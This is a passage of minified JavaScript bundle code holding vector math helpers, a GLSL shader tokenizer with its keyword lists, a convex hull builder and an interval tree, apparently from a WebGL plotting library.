g(t){var r=t[0],f=t[1],a=t[2];return Math.sqrt(r*r+f*f+a*a)}},1868:function(d){d.exports=g;function g(t,r,f,a){var l=r[0],u=r[1],s=r[2];return t[0]=l+a*(f[0]-l),t[1]=u+a*(f[1]-u),t[2]=s+a*(f[2]-s),t}},1716:function(d){d.exports=g;function g(t,r,f){return t[0]=Math.max(r[0],f[0]),t[1]=Math.max(r[1],f[1]),t[2]=Math.max(r[2],f[2]),t}},3605:function(d){d.exports=g;function g(t,r,f){return t[0]=Math.min(r[0],f[0]),t[1]=Math.min(r[1],f[1]),t[2]=Math.min(r[2],f[2]),t}},5733:function(d,g,t){d.exports=t(105)},105:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]*f[0],t[1]=r[1]*f[1],t[2]=r[2]*f[2],t}},435:function(d){d.exports=g;function g(t,r){return t[0]=-r[0],t[1]=-r[1],t[2]=-r[2],t}},899:function(d){d.exports=g;function g(t,r){var f=r[0],a=r[1],l=r[2],u=f*f+a*a+l*l;return u>0&&(u=1/Math.sqrt(u),t[0]=r[0]*u,t[1]=r[1]*u,t[2]=r[2]*u),t}},6660:function(d){d.exports=g;function g(t,r){r=r||1;var f=Math.random()*2*Math.PI,a=Math.random()*2-1,l=Math.sqrt(1-a*a)*r;return t[0]=Math.cos(f)*l,t[1]=Math.sin(f)*l,t[2]=a*r,t}},392:function(d){d.exports=g;function g(t,r,f,a){var l=f[1],u=f[2],s=r[1]-l,y=r[2]-u,c=Math.sin(a),b=Math.cos(a);return t[0]=r[0],t[1]=l+s*b-y*c,t[2]=u+s*c+y*b,t}},3222:function(d){d.exports=g;function g(t,r,f,a){var l=f[0],u=f[2],s=r[0]-l,y=r[2]-u,c=Math.sin(a),b=Math.cos(a);return t[0]=l+y*c+s*b,t[1]=r[1],t[2]=u+y*b-s*c,t}},3388:function(d){d.exports=g;function g(t,r,f,a){var l=f[0],u=f[1],s=r[0]-l,y=r[1]-u,c=Math.sin(a),b=Math.cos(a);return t[0]=l+s*b-y*c,t[1]=u+s*c+y*b,t[2]=r[2],t}},1624:function(d){d.exports=g;function g(t,r){return t[0]=Math.round(r[0]),t[1]=Math.round(r[1]),t[2]=Math.round(r[2]),t}},5685:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]*f,t[1]=r[1]*f,t[2]=r[2]*f,t}},6722:function(d){d.exports=g;function g(t,r,f,a){return t[0]=r[0]+f[0]*a,t[1]=r[1]+f[1]*a,t[2]=r[2]+f[2]*a,t}},831:function(d){d.exports=g;function g(t,r,f,a){return t[0]=r,t[1]=f,t[2]=a,t}},5294:function(d,g,t){d.exports=t(6403)},3303:function(d,g,t){d.exports=t(4337)},6403:function(d){d.exports=g;function g(t,r){var f=r[0]-t[0],a=r[1]-t[1],l=r[2]-t[2];return f*f+a*a+l*l}},4337:function(d){d.exports=g;function g(t){var r=t[0],f=t[1],a=t[2];return r*r+f*f+a*a}},8921:function(d,g,t){d.exports=t(911)},911:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]-f[0],t[1]=r[1]-f[1],t[2]=r[2]-f[2],t}},9908:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2];return t[0]=a*f[0]+l*f[3]+u*f[6],t[1]=a*f[1]+l*f[4]+u*f[7],t[2]=a*f[2]+l*f[5]+u*f[8],t}},3255:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=f[3]*a+f[7]*l+f[11]*u+f[15];return s=s||1,t[0]=(f[0]*a+f[4]*l+f[8]*u+f[12])/s,t[1]=(f[1]*a+f[5]*l+f[9]*u+f[13])/s,t[2]=(f[2]*a+f[6]*l+f[10]*u+f[14])/s,t}},6568:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=f[0],y=f[1],c=f[2],b=f[3],h=b*a+y*u-c*l,i=b*l+c*a-s*u,v=b*u+s*l-y*a,T=-s*a-y*l-c*u;return t[0]=h*b+T*-s+i*-c-v*-y,t[1]=i*b+T*-y+v*-s-h*-c,t[2]=v*b+T*-c+h*-y-i*-s,t}},3433:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]+f[0],t[1]=r[1]+f[1],t[2]=r[2]+f[2],t[3]=r[3]+f[3],t}},1413:function(d){d.exports=g;function g(t){var r=new Float32Array(4);return r[0]=t[0],r[1]=t[1],r[2]=t[2],r[3]=t[3],r}},3470:function(d){d.exports=g;function g(t,r){return t[0]=r[0],t[1]=r[1],t[2]=r[2],t[3]=r[3],t}},5313:function(d){d.exports=g;function g(){var t=new Float32Array(4);return t[0]=0,t[1]=0,t[2]=0,t[3]=0,t}},5446:function(d){d.exports=g;function g(t,r){var f=r[0]-t[0],a=r[1]-t[1],l=r[2]-t[2],u=r[3]-t[3];return Math.sqrt(f*f+a*a+l*l+u*u)}},205:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]/f[0],t[1]=r[1]/f[1],t[2]=r[2]/f[2],t[3]=r[3]/f[3],t}},4242:function(d){d.exports=g;function g(t,r){return t[0]*r[0]+t[1]*r[1]+t[2]*r[2]+t[3]*r[3]}},5680:function(d){d.exports=g;function g(t,r,f,a){var l=new Float32Array(4);return l[0]=t,l[1]=r,l[2]=f,l[3]=a,l}},4020:function(d,g,t){d.exports={create:t(5313),clone:t(1413),fromValues:t(5680),copy:t(3470),set:t(6453),add:t(3433),subtract:t(2705),multiply:t(746),divide:t(205),min:t(2170),max:t(3030),scale:t(5510),scaleAndAdd:t(4224),distance:t(5446),squaredDistance:t(1542),length:t(8177),squaredLength:t(9037),negate:t(6459),inverse:t(8057),normalize:t(381),dot:t(4242),lerp:t(8746),random:t(3770),transformMat4:t(6342),transformQuat:t(5022)}},8057:function(d){d.exports=g;function g(t,r){return t[0]=1/r[0],t[1]=1/r[1],t[2]=1/r[2],t[3]=1/r[3],t}},8177:function(d){d.exports=g;function g(t){var r=t[0],f=t[1],a=t[2],l=t[3];return Math.sqrt(r*r+f*f+a*a+l*l)}},8746:function(d){d.exports=g;function g(t,r,f,a){var l=r[0],u=r[1],s=r[2],y=r[3];return t[0]=l+a*(f[0]-l),t[1]=u+a*(f[1]-u),t[2]=s+a*(f[2]-s),t[3]=y+a*(f[3]-y),t}},3030:function(d){d.exports=g;function g(t,r,f){return t[0]=Math.max(r[0],f[0]),t[1]=Math.max(r[1],f[1]),t[2]=Math.max(r[2],f[2]),t[3]=Math.max(r[3],f[3]),t}},2170:function(d){d.exports=g;function g(t,r,f){return t[0]=Math.min(r[0],f[0]),t[1]=Math.min(r[1],f[1]),t[2]=Math.min(r[2],f[2]),t[3]=Math.min(r[3],f[3]),t}},746:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]*f[0],t[1]=r[1]*f[1],t[2]=r[2]*f[2],t[3]=r[3]*f[3],t}},6459:function(d){d.exports=g;function g(t,r){return t[0]=-r[0],t[1]=-r[1],t[2]=-r[2],t[3]=-r[3],t}},381:function(d){d.exports=g;function g(t,r){var f=r[0],a=r[1],l=r[2],u=r[3],s=f*f+a*a+l*l+u*u;return s>0&&(s=1/Math.sqrt(s),t[0]=f*s,t[1]=a*s,t[2]=l*s,t[3]=u*s),t}},3770:function(d,g,t){var r=t(381),f=t(5510);d.exports=a;function a(l,u){return u=u||1,l[0]=Math.random(),l[1]=Math.random(),l[2]=Math.random(),l[3]=Math.random(),r(l,l),f(l,l,u),l}},5510:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]*f,t[1]=r[1]*f,t[2]=r[2]*f,t[3]=r[3]*f,t}},4224:function(d){d.exports=g;function g(t,r,f,a){return t[0]=r[0]+f[0]*a,t[1]=r[1]+f[1]*a,t[2]=r[2]+f[2]*a,t[3]=r[3]+f[3]*a,t}},6453:function(d){d.exports=g;function g(t,r,f,a,l){return t[0]=r,t[1]=f,t[2]=a,t[3]=l,t}},1542:function(d){d.exports=g;function g(t,r){var f=r[0]-t[0],a=r[1]-t[1],l=r[2]-t[2],u=r[3]-t[3];return f*f+a*a+l*l+u*u}},9037:function(d){d.exports=g;function g(t){var r=t[0],f=t[1],a=t[2],l=t[3];return r*r+f*f+a*a+l*l}},2705:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]-f[0],t[1]=r[1]-f[1],t[2]=r[2]-f[2],t[3]=r[3]-f[3],t}},6342:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=r[3];return t[0]=f[0]*a+f[4]*l+f[8]*u+f[12]*s,t[1]=f[1]*a+f[5]*l+f[9]*u+f[13]*s,t[2]=f[2]*a+f[6]*l+f[10]*u+f[14]*s,t[3]=f[3]*a+f[7]*l+f[11]*u+f[15]*s,t}},5022:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=f[0],y=f[1],c=f[2],b=f[3],h=b*a+y*u-c*l,i=b*l+c*a-s*u,v=b*u+s*l-y*a,T=-s*a-y*l-c*u;return t[0]=h*b+T*-s+i*-c-v*-y,t[1]=i*b+T*-y+v*-s-h*-c,t[2]=v*b+T*-c+h*-y-i*-s,t[3]=r[3],t}},9365:function(d,g,t){var r=t(8096),f=t(7896);d.exports=a;function a(l){for(var u=Array.isArray(l)?l:r(l),s=0;s<u.length;s++){var y=u[s];if(y.type==="preprocessor"){var c=y.data.match(/\#define\s+SHADER_NAME(_B64)?\s+(.+)$/);if(c&&c[2]){var b=c[1],h=c[2];return(b?f(h):h).trim()}}}}},3193:function(d,g,t){d.exports=x;var r=t(399),f=t(9746),a=t(9525),l=t(9458),u=t(3585),s=999,y=9999,c=0,b=1,h=2,i=3,v=4,T=5,w=6,E=7,p=8,A=9,m=10,n=11,C=["block-comment","line-comment","preprocessor","operator","integer","float","ident","builtin","keyword","whitespace","eof","integer"];function x(I){var k=0,B=0,_=s,F,O,z=[],N=[],G=1,J=0,q=0,ne=!1,fe=!1,X="",W;I=I||{};var V=a,Y=r;I.version==="300 es"&&(V=u,Y=l);for(var Q={},ie={},k=0;k<V.length;k++)Q[V[k]]=!0;for(var k=0;k<Y.length;k++)ie[Y[k]]=!0;return function(Oe){return N=[],Oe!==null?K(Oe):oe()};function j(Oe){Oe.length&&N.push({type:C[_],data:Oe,position:q,line:G,column:J})}function K(Oe){k=0,Oe.toString&&(Oe=Oe.toString()),X+=Oe.replace(/\r\n/g,`
`),W=X.length;for(var Ce;F=X[k],k<W;){switch(Ce=k,_){case c:k=xe();break;case b:k=we();break;case h:k=pe();break;case i:k=ke();break;case v:k=ge();break;case n:k=be();break;case T:k=Te();break;case y:k=Fe();break;case A:k=le();break;case s:k=re();break}if(Ce!==k)switch(X[Ce]){case`
`:J=0,++G;break;default:++J;break}}return B+=k,X=X.slice(k),N}function oe(Oe){return z.length&&j(z.join("")),_=m,j("(eof)"),N}function re(){return z=z.length?[]:z,O==="/"&&F==="*"?(q=B+k-1,_=c,O=F,k+1):O==="/"&&F==="/"?(q=B+k-1,_=b,O=F,k+1):F==="#"?(_=h,q=B+k,k):/\s/.test(F)?(_=A,q=B+k,k):(ne=/\d/.test(F),fe=/[^\w_]/.test(F),q=B+k,_=ne?v:fe?i:y,k)}function le(){return/[^\s]/g.test(F)?(j(z.join("")),_=s,k):(z.push(F),O=F,k+1)}function pe(){return(F==="\r"||F===`
`)&&O!=="\\"?(j(z.join("")),_=s,k):(z.push(F),O=F,k+1)}function we(){return pe()}function xe(){return F==="/"&&O==="*"?(z.push(F),j(z.join("")),_=s,k+1):(z.push(F),O=F,k+1)}function ke(){if(O==="."&&/\d/.test(F))return _=T,k;if(O==="/"&&F==="*")return _=c,k;if(O==="/"&&F==="/")return _=b,k;if(F==="."&&z.length){for(;_e(z););return _=T,k}if(F===";"||F===")"||F==="("){if(z.length)for(;_e(z););return j(F),_=s,k+1}var Oe=z.length===2&&F!=="=";if(/[\w_\d\s]/.test(F)||Oe){for(;_e(z););return _=s,k}return z.push(F),O=F,k+1}function _e(Oe){var Ce=0,Be,$e;do{if(Be=f.indexOf(Oe.slice(0,Oe.length+Ce).join("")),$e=f[Be],Be===-1){if(Ce--+Oe.length>0)continue;$e=Oe.slice(0,1).join("")}return j($e),q+=$e.length,z=z.slice($e.length),z.length}while(!0)}function be(){return/[^a-fA-F0-9]/.test(F)?(j(z.join("")),_=s,k):(z.push(F),O=F,k+1)}function ge(){return F==="."||/[eE]/.test(F)?(z.push(F),_=T,O=F,k+1):F==="x"&&z.length===1&&z[0]==="0"?(_=n,z.push(F),O=F,k+1):/[^\d]/.test(F)?(j(z.join("")),_=s,k):(z.push(F),O=F,k+1)}function Te(){return F==="f"&&(z.push(F),O=F,k+=1),/[eE]/.test(F)||(F==="-"||F==="+")&&/[eE]/.test(O)?(z.push(F),O=F,k+1):/[^\d]/.test(F)?(j(z.join("")),_=s,k):(z.push(F),O=F,k+1)}function Fe(){if(/[^\d\w_]/.test(F)){var Oe=z.join("");return ie[Oe]?_=p:Q[Oe]?_=E:_=w,j(z.join("")),_=s,k}return z.push(F),O=F,k+1}}},3585:function(d,g,t){var r=t(9525);r=r.slice().filter(function(f){return!/^(gl\_|texture)/.test(f)}),d.exports=r.concat(["gl_VertexID","gl_InstanceID","gl_Position","gl_PointSize","gl_FragCoord","gl_FrontFacing","gl_FragDepth","gl_PointCoord","gl_MaxVertexAttribs","gl_MaxVertexUniformVectors","gl_MaxVertexOutputVectors","gl_MaxFragmentInputVectors","gl_MaxVertexTextureImageUnits","gl_MaxCombinedTextureImageUnits","gl_MaxTextureImageUnits","gl_MaxFragmentUniformVectors","gl_MaxDrawBuffers","gl_MinProgramTexelOffset","gl_MaxProgramTexelOffset","gl_DepthRangeParameters","gl_DepthRange","trunc","round","roundEven","isnan","isinf","floatBitsToInt","floatBitsToUint","intBitsToFloat","uintBitsToFloat","packSnorm2x16","unpackSnorm2x16","packUnorm2x16","unpackUnorm2x16","packHalf2x16","unpackHalf2x16","outerProduct","transpose","determinant","inverse","texture","textureSize","textureProj","textureLod","textureOffset","texelFetch","texelFetchOffset","textureProjOffset","textureLodOffset","textureProjLod","textureProjLodOffset","textureGrad","textureGradOffset","textureProjGrad","textureProjGradOffset"])},9525:function(d){d.exports=["abs","acos","all","any","asin","atan","ceil","clamp","cos","cross","dFdx","dFdy","degrees","distance","dot","equal","exp","exp2","faceforward","floor","fract","gl_BackColor","gl_BackLightModelProduct","gl_BackLightProduct","gl_BackMaterial","gl_BackSecondaryColor","gl_ClipPlane","gl_ClipVertex","gl_Color","gl_DepthRange","gl_DepthRangeParameters","gl_EyePlaneQ","gl_EyePlaneR","gl_EyePlaneS","gl_EyePlaneT","gl_Fog","gl_FogCoord","gl_FogFragCoord","gl_FogParameters","gl_FragColor","gl_FragCoord","gl_FragData","gl_FragDepth","gl_FragDepthEXT","gl_FrontColor","gl_FrontFacing","gl_FrontLightModelProduct","gl_FrontLightProduct","gl_FrontMaterial","gl_FrontSecondaryColor","gl_LightModel","gl_LightModelParameters","gl_LightModelProducts","gl_LightProducts","gl_LightSource","gl_LightSourceParameters","gl_MaterialParameters","gl_MaxClipPlanes","gl_MaxCombinedTextureImageUnits","gl_MaxDrawBuffers","gl_MaxFragmentUniformComponents","gl_MaxLights","gl_MaxTextureCoords","gl_MaxTextureImageUnits","gl_MaxTextureUnits","gl_MaxVaryingFloats","gl_MaxVertexAttribs","gl_MaxVertexTextureImageUnits","gl_MaxVertexUniformComponents","gl_ModelViewMatrix","gl_ModelViewMatrixInverse","gl_ModelViewMatrixInverseTranspose","gl_ModelViewMatrixTranspose","gl_ModelViewProjectionMatrix","gl_ModelViewProjectionMatrixInverse","gl_ModelViewProjectionMatrixInverseTranspose","gl_ModelViewProjectionMatrixTranspose","gl_MultiTexCoord0","gl_MultiTexCoord1","gl_MultiTexCoord2","gl_MultiTexCoord3","gl_MultiTexCoord4","gl_MultiTexCoord5","gl_MultiTexCoord6","gl_MultiTexCoord7","gl_Normal","gl_NormalMatrix","gl_NormalScale","gl_ObjectPlaneQ","gl_ObjectPlaneR","gl_ObjectPlaneS","gl_ObjectPlaneT","gl_Point","gl_PointCoord","gl_PointParameters","gl_PointSize","gl_Position","gl_ProjectionMatrix","gl_ProjectionMatrixInverse","gl_ProjectionMatrixInverseTranspose","gl_ProjectionMatrixTranspose","gl_SecondaryColor","gl_TexCoord","gl_TextureEnvColor","gl_TextureMatrix","gl_TextureMatrixInverse","gl_TextureMatrixInverseTranspose","gl_TextureMatrixTranspose","gl_Vertex","greaterThan","greaterThanEqual","inversesqrt","length","lessThan","lessThanEqual","log","log2","matrixCompMult","max","min","mix","mod","normalize","not","notEqual","pow","radians","reflect","refract","sign","sin","smoothstep","sqrt","step","tan","texture2D","texture2DLod","texture2DProj","texture2DProjLod","textureCube","textureCubeLod","texture2DLodEXT","texture2DProjLodEXT","textureCubeLodEXT","texture2DGradEXT","texture2DProjGradEXT","textureCubeGradEXT"]},9458:function(d,g,t){var r=t(399);d.exports=r.slice().concat(["layout","centroid","smooth","case","mat2x2","mat2x3","mat2x4","mat3x2","mat3x3","mat3x4","mat4x2","mat4x3","mat4x4","uvec2","uvec3","uvec4","samplerCubeShadow","sampler2DArray","sampler2DArrayShadow","isampler2D","isampler3D","isamplerCube","isampler2DArray","usampler2D","usampler3D","usamplerCube","usampler2DArray","coherent","restrict","readonly","writeonly","resource","atomic_uint","noperspective","patch","sample","subroutine","common","partition","active","filter","image1D","image2D","image3D","imageCube","iimage1D","iimage2D","iimage3D","iimageCube","uimage1D","uimage2D","uimage3D","uimageCube","image1DArray","image2DArray","iimage1DArray","iimage2DArray","uimage1DArray","uimage2DArray","image1DShadow","image2DShadow","image1DArrayShadow","image2DArrayShadow","imageBuffer","iimageBuffer","uimageBuffer","sampler1DArray","sampler1DArrayShadow","isampler1D","isampler1DArray","usampler1D","usampler1DArray","isampler2DRect","usampler2DRect","samplerBuffer","isamplerBuffer","usamplerBuffer","sampler2DMS","isampler2DMS","usampler2DMS","sampler2DMSArray","isampler2DMSArray","usampler2DMSArray"])},399:function(d){d.exports=["precision","highp","mediump","lowp","attribute","const","uniform","varying","break","continue","do","for","while","if","else","in","out","inout","float","int","uint","void","bool","true","false","discard","return","mat2","mat3","mat4","vec2","vec3","vec4","ivec2","ivec3","ivec4","bvec2","bvec3","bvec4","sampler1D","sampler2D","sampler3D","samplerCube","sampler1DShadow","sampler2DShadow","struct","asm","class","union","enum","typedef","template","this","packed","goto","switch","default","inline","noinline","volatile","public","static","extern","external","interface","long","short","double","half","fixed","unsigned","input","output","hvec2","hvec3","hvec4","dvec2","dvec3","dvec4","fvec2","fvec3","fvec4","sampler2DRect","sampler3DRect","sampler2DRectShadow","sizeof","cast","namespace","using"]},9746:function(d){d.exports=["<<=",">>=","++","--","<<",">>","<=",">=","==","!=","&&","||","+=","-=","*=","/=","%=","&=","^^","^=","|=","(",")","[","]",".","!","~","*","/","%","+","-","<",">","&","^","|","?",":","=",",",";","{","}"]},8096:function(d,g,t){var r=t(3193);d.exports=f;function f(a,l){var u=r(l),s=[];return s=s.concat(u(a)),s=s.concat(u(null)),s}},6832:function(d){d.exports=function(g){typeof g=="string"&&(g=[g]);for(var t=[].slice.call(arguments,1),r=[],f=0;f<g.length-1;f++)r.push(g[f],t[f]||"");return r.push(g[f]),r.join("")}},5233:function(d,g,t){var r=t(4846);function f(){var a=!1;try{var l=Object.defineProperty({},"passive",{get:function(){a=!0}});window.addEventListener("test",null,l),window.removeEventListener("test",null,l)}catch{a=!1}return a}d.exports=r&&f()},2183:function(d,g,t){d.exports=i;var r=t(417),f=t(8211).H;function a(v,T,w){this.vertices=v,this.adjacent=T,this.boundary=w,this.lastVisited=-1}a.prototype.flip=function(){var v=this.vertices[0];this.vertices[0]=this.vertices[1],this.vertices[1]=v;var T=this.adjacent[0];this.adjacent[0]=this.adjacent[1],this.adjacent[1]=T};function l(v,T,w){this.vertices=v,this.cell=T,this.index=w}function u(v,T){return f(v.vertices,T.vertices)}function s(v){return function(){var T=this.tuple;return v.apply(this,T)}}function y(v){var T=r[v+1];return T||(T=r),s(T)}var c=[];function b(v,T,w){this.dimension=v,this.vertices=T,this.simplices=w,this.interior=w.filter(function(A){return!A.boundary}),this.tuple=new Array(v+1);for(var E=0;E<=v;++E)this.tuple[E]=this.vertices[E];var p=c[v];p||(p=c[v]=y(v)),this.orient=p}var h=b.prototype;h.handleBoundaryDegeneracy=function(v,T){var w=this.dimension,E=this.vertices.length-1,p=this.tuple,A=this.vertices,m=[v];for(v.lastVisited=-E;m.length>0;){v=m.pop();for(var n=v.adjacent,C=0;C<=w;++C){var x=n[C];if(!(!x.boundary||x.lastVisited<=-E)){for(var I=x.vertices,k=0;k<=w;++k){var B=I[k];B<0?p[k]=T:p[k]=A[B]}var _=this.orient();if(_>0)return x;x.lastVisited=-E,_===0&&m.push(x)}}}return null},h.walk=function(v,T){var w=this.vertices.length-1,E=this.dimension,p=this.vertices,A=this.tuple,m=T?this.interior.length*Math.random()|0:this.interior.length-1,n=this.interior[m];e:for(;!n.boundary;){for(var C=n.vertices,x=n.adjacent,I=0;I<=E;++I)A[I]=p[C[I]];n.lastVisited=w;for(var I=0;I<=E;++I){var k=x[I];if(!(k.lastVisited>=w)){var B=A[I];A[I]=v;var _=this.orient();if(A[I]=B,_<0){n=k;continue e}else k.boundary?k.lastVisited=-w:k.lastVisited=w}}return}return n},h.addPeaks=function(v,T){var w=this.vertices.length-1,E=this.dimension,p=this.vertices,A=this.tuple,m=this.interior,n=this.simplices,C=[T];T.lastVisited=w,T.vertices[T.vertices.indexOf(-1)]=w,T.boundary=!1,m.push(T);for(var x=[];C.length>0;){var T=C.pop(),I=T.vertices,k=T.adjacent,B=I.indexOf(w);if(!(B<0)){for(var _=0;_<=E;++_)if(_!==B){var F=k[_];if(!(!F.boundary||F.lastVisited>=w)){var O=F.vertices;if(F.lastVisited!==-w){for(var z=0,N=0;N<=E;++N)O[N]<0?(z=N,A[N]=v):A[N]=p[O[N]];var G=this.orient();if(G>0){O[z]=w,F.boundary=!1,m.push(F),C.push(F),F.lastVisited=w;continue}else F.lastVisited=-w}var J=F.adjacent,q=I.slice(),ne=k.slice(),fe=new a(q,ne,!0);n.push(fe);var X=J.indexOf(T);if(!(X<0)){J[X]=fe,ne[B]=F,q[_]=-1,ne[_]=T,k[_]=fe,fe.flip();for(var N=0;N<=E;++N){var W=q[N];if(!(W<0||W===w)){for(var V=new Array(E-1),Y=0,Q=0;Q<=E;++Q){var ie=q[Q];ie<0||Q===N||(V[Y++]=ie)}x.push(new l(V,fe,N))}}}}}}}x.sort(u);for(var _=0;_+1<x.length;_+=2){var j=x[_],K=x[_+1],oe=j.index,re=K.index;oe<0||re<0||(j.cell.adjacent[j.index]=K.cell,K.cell.adjacent[K.index]=j.cell)}},h.insert=function(v,T){var w=this.vertices;w.push(v);var E=this.walk(v,T);if(E){for(var p=this.dimension,A=this.tuple,m=0;m<=p;++m){var n=E.vertices[m];n<0?A[m]=v:A[m]=w[n]}var C=this.orient(A);C<0||C===0&&(E=this.handleBoundaryDegeneracy(E,v),!E)||this.addPeaks(v,E)}},h.boundary=function(){for(var v=this.dimension,T=[],w=this.simplices,E=w.length,p=0;p<E;++p){var A=w[p];if(A.boundary){for(var m=new Array(v),n=A.vertices,C=0,x=0,I=0;I<=v;++I)n[I]>=0?m[C++]=n[I]:x=I&1;if(x===(v&1)){var k=m[0];m[0]=m[1],m[1]=k}T.push(m)}}return T};function i(v,T){var w=v.length;if(w===0)throw new Error("Must have at least d+1 points");var E=v[0].length;if(w<=E)throw new Error("Must input at least d+1 points");var p=v.slice(0,E+1),A=r.apply(void 0,p);if(A===0)throw new Error("Input not in general position");for(var m=new Array(E+1),n=0;n<=E;++n)m[n]=n;A<0&&(m[0]=1,m[1]=0);for(var C=new a(m,new Array(E+1),!1),x=C.adjacent,I=new Array(E+2),n=0;n<=E;++n){for(var k=m.slice(),B=0;B<=E;++B)B===n&&(k[B]=-1);var _=k[0];k[0]=k[1],k[1]=_;var F=new a(k,new Array(E+1),!0);x[n]=F,I[n]=F}I[E+1]=C;for(var n=0;n<=E;++n)for(var k=x[n].vertices,O=x[n].adjacent,B=0;B<=E;++B){var z=k[B];if(z<0){O[B]=C;continue}for(var N=0;N<=E;++N)x[N].vertices.indexOf(z)<0&&(O[B]=x[N])}for(var G=new b(E,p,I),J=!!T,n=E+1;n<w;++n)G.insert(v[n],J);return G.boundary()}},9014:function(d,g,t){var r=t(5070),f=0,a=1,l=2;d.exports=C;function u(x,I,k,B,_){this.mid=x,this.left=I,this.right=k,this.leftPoints=B,this.rightPoints=_,this.count=(I?I.count:0)+(k?k.count:0)+B.length}var s=u.prototype;function y(x,I){x.mid=I.mid,x.left=I.left,x.right=I.right,x.leftPoints=I.leftPoints,x.rightPoints=I.rightPoints,x.count=I.count}function c(x,I){var k=A(I);x.mid=k.mid,x.left=k.left,x.right=k.right,x.leftPoints=k.leftPoints,x.rightPoints=k.rightPoints,x.count=k.count}function b(x,I){var k=x.intervals([]);k.push(I),c(x,k)}function h(x,I){var k=x.intervals([]),B=k.indexOf(I);return B<0?f:(k.splice(B,1),c(x,k),a)}s.intervals=function(x){return x.push.apply(x,this.leftPoints),this.left&&this.left.intervals(x),this.right&&this.right.intervals(x),x},s.insert=function(x){var I=this.count-this.leftPoints.length;if(this.count+=1,x[1]<this.mid)this.left?4*(this.left.count+1)>3*(I+1)?b(this,x):this.left.insert(x):this.left=A([x]);else if(x[0]>this.mid)this.right?4*(this.right.count+1)>3*(I+1)?b(this,x):this.right.insert(x):this.right=A([x]);else{var k=r.ge(this.leftPoints,x,E),B=r.ge(this.rightPoints,x,p);this.leftPoints.splice(k,0,x),this.rightPoints.splice(B,0,x)}},s.remove=function(x){var I=this.count-this.leftPoints;if(x[1]<this.mid){if(!this.left)return f;var k=this.right?this.right.count:0;if(4*k>3*(I-1))return h(this,x);var B=this.left.remove(x);return B===l?(this.left=null,this.count-=1,a):(B===a&&(this.count-=1),B)}else if(x[0]>this.mid){if(!this.right)return f;var _=this.left?this.left.count:0;if(4*_>3*(I-1))return h(this,x);var B=this.right.remove(x);return B===l?(this.right=null,this.count-=1,a):(B===a&&(this.count-=1),B)}else{if(this.count===1)return this.leftPoints[0]===x?l:f;if(this.leftPoints.length===1&&this.leftPoints[0]===x){if(this.left&&this.right){for(var F=this,O=this.left;O.right;)F=O,O=O.right;if(F===this)O.right=this.right;else{var z=this.left,B=this.right;F.count-=O.count,F.right=O.left,O.left=z,O.right=B}y(this,O),this.count=(this.left?this.left.count:0)+(this.right?this.right.count:0)+this.leftPoints.length}else this.left?y(this,this.left):y(this,this.right);return a}for(var z=r.ge(this.leftPoints,x,E);z<this.leftPoints.length&&this.leftPoints[z][0]===x[0];++z)if(this.leftPoints[z]===x){this.count-=1,this.leftPoints.splice(z,1);for(var B=r.ge(this.rightPoints,x,p);B<this.rightPoints.length&&this.rightPoints[B][1]===x[1];++B)if(this.rightPoints[B]===x)return this.rightPoints.splice(B,1),a}return f}};function i(x,I,k){for(var B=0;B<x.length&&x[B][0]<=I;++B){var _=k(x[B]);if(_)return _}}function v(x,I,k){for(var B=x.length-1;B>=0&&x[B][1]>=I;--B){var _=k(x[B]);if(_)return _}}function T(x,I){for(var k=0;k<x.length;++k){var B=I(x[k]);if(B)return B}}s.queryPoint=function(x,I){if(x<this.mid){if(this.left){var k=this.left.queryPoint(x,I);if(k)return k}return i(this.leftPoints,x,I)}else if(x>this.mid){if(this.right){var k=this.right.queryPoint(x,I);if(k)return k}return v(this.rightPoints,x,I)}else return T(this.leftPoints,I)},s.queryInterval=function(x,I,k){if(x<this.mid&&this.left){var B=this.left.queryInterval(x,I,k);if(B)return B}if(I>this.mid&&this.right){var B=this.right.queryInterval(x,I,k);if(B)return B}return I<this.mid?i(this.leftPoints,I,k):x>this.mid?v(this.rightPoints,x,k):T(this.leftPoints,k)};function w(x,I){return x-I}function E(x,I){var k=x[0]-I[0];return k||x[1]-I[1]}function p(x,I){var k=x[1]-I[1];return k||x[0]-I[0]}function A(x){if(x.length===0)return null;for(var I=[],k=0;k<x.length;++k)I.push(x[k][0],x[k][1]);I.sort(w);for(var B=I[I.length>>1],_=[],F=[],O=[],k=0;k<x.length;++k){var z=x[k];z[1]<B?_.push(z):B<z[0]?F.push(z):O.push(z)}var N=O,G=O.slice();return N.sort(E),G.sort(p),new u(B,A(_),A(F),N,G)}function m(x){this.root=x}var n=m.prototype;n.insert=function(x){this.root?this.root.insert(x):this.root=new u(x[0],null,null,[x],[x])},n.remove=function(x){if(this.root){var I=this.root.remove(x);return I===l&&(this.root=null),I!==f}return!1},n.queryPoint=function(x,I){if(this.root)return this.root.queryPoint(x,I)},n.queryInterval=function(x,I,k){if(x<=I&&this.root)return this.root.queryInterval(x,I,k)},Object.defineProperty(n,"count",{get:function(){return this.root?this.root.count:0}}),Object.defineProperty(n,"intervals",{get:function(){return this.root?this.root.intervals([]):[]}});function C(x){return!x||x.length===0?new m(null):new m(A(x))}},9560:function(d){function g(t){for(var r=new Array(t),f=0;f<t;++f)r[f]=f;return r}d.exports=g},4846:function(d){d.exports=!0},4780:function(d){/*!
* Determine if an object is a Buffer
*
* @author   Feross Aboukhadijeh <https://feross.org>
* @license  MIT
